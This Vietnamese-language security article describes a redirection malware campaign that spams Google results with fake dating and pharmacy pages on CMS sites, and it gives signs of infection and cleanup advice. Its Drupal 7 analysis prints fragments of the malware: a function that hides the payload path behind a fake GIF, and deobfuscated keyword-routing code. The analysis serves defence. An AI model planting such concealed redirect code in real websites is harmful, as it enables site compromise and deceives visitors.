Computer >> Hướng Dẫn Máy Tính >  >> Kết Nối Mạng >> An Ninh Mạng

Malware mới chuyển hướng người dùng đến web hẹn hò giả qua Google SERP Spam – Đe dọa WordPress, Magento, Joomla

Một loại malware chuyển hướng (redirection malware) mới xuất hiện: người truy cập bị đẩy sang các trang hẹn hò người lớn giả mạo. Chiến dịch này tạo hàng nghìn trang giả trên website nạn nhân và được Google index. Tìm site:example.com bạn sẽ thấy hàng loạt kết quả lạ:

Malware này không chỉ tạo trang hẹn hò – nó còn spam từ khóa: essay (viết bài), pharm (dược phẩm), dating, loans (vay tiền), media, malicious download…

Nếu click vào link trên Google, bạn bị redirect đến trang nội dung nhạy cảm với thông điệp lừa đảo.

Dấu hiệu website bị nhiễm

  1. Google Search trả về hàng loạt trang bạn không hề tạo.
  2. Click link website trên Google → redirect sang trang người lớn/cờ bạc/hẹn hò.
  3. Phát hiện trang mới trên web mà bạn không hay biết.
  4. Có user admin lạ xuất hiện trong dashboard.
  5. Website chậm bất thường.
  6. Nhận cảnh báo từ Google Search Console.

Phân tích hack trên Drupal 7

Chúng tôi điều tra chiến dịch này trên một site Drupal 7. Hacker giấu malware cực khéo bằng kỹ thuật nâng cao, rất khó nhận ra code độc.

Quét bằng Astra Malware Scanner phát hiện file đáng ngờ tại: includes/template.inc

File này được thêm vào Drupal Registry để auto-load mỗi request. Cấu hình nằm trong database.

Giải mã hàm getMimeDescription() trong file flagged:

public function getMimeDescription($documentDir) {
    $indicies=array(8,5,0,1,9,4,6,7,3,2);
    $mimeMarkers=array('themes','Porto','loader1','light_rounded','prettyPhoto','all','images','prettyPhoto','sites','vendor');
    $mimeType='gif';
    $selecteds=array();
    foreach($indicies as $index) {
        $selected=$mimeMarkers[$index];
        $selecteds[]=$selected;
    }
    array_unshift($selecteds,$documentDir);
    $cachePath=join('/',$selecteds);
    return $cachePath.'.'.$mimeType;
}

Code trên trả về đường dẫn file độc hại thực thi:

sites/all/themes/Porto/vendor/prettyPhoto/images/prettyPhoto/light_rounded/loader1.gif

Sau khi giải nén (gzinflate) và decode base64 nhiều lớp, code độc hại thực sự lộ diện:

$v266=array('essay','pharm','dating','loan','media','download');
if(isset($this->v254['theme'])){
    $this->v12->t4("page theme: '{ 0 } '",$this->v254['theme']);
    $v267=strtolower($this->v254['theme']);
    foreach($v266 as $v80){
        if(strpos($v267,$v80)!==false) return $v80;
    }
} else {
    $this->v12->t4("page has NO theme. old dor");
}
return 'default';
function t170($v268,$v148){
    $v269=$this->v255->t147($v268['exit']['url'],$this->v254,$v148);
    return array('name'=>$v268['name'],'exit'=>$v268['exit']['type'],'url'=>$v269[00],'extparams'=>$v269[01]);
}

Cách ngăn chặn redirect đến trang hẹn hò giả

Để triệt tiêu hoàn toàn, phải quét file & database tìm malware. Như phân tích trên, hacker giấu code redirect qua nhiều lớp obfuscation.

Tham khảo hướng dẫn WordPress Malware Removal để tự dọn dẹp.

Khuyến nghị bảo mật

  1. Backup website trước khi can thiệp.
  2. Cập nhật CMS, plugin, theme lên phiên bản mới nhất.
  3. Xác định nguyên nhân hack & vá lỗi.
  4. Cài đặt Firewall mạnh (WAF).
  5. Không set permission 777. Chuẩn: folder 755, file 644.
  6. Kiểm tra & xóa user admin lạ.
  7. Xóa file backup (.zip, .sql, .tar…) trong public_html.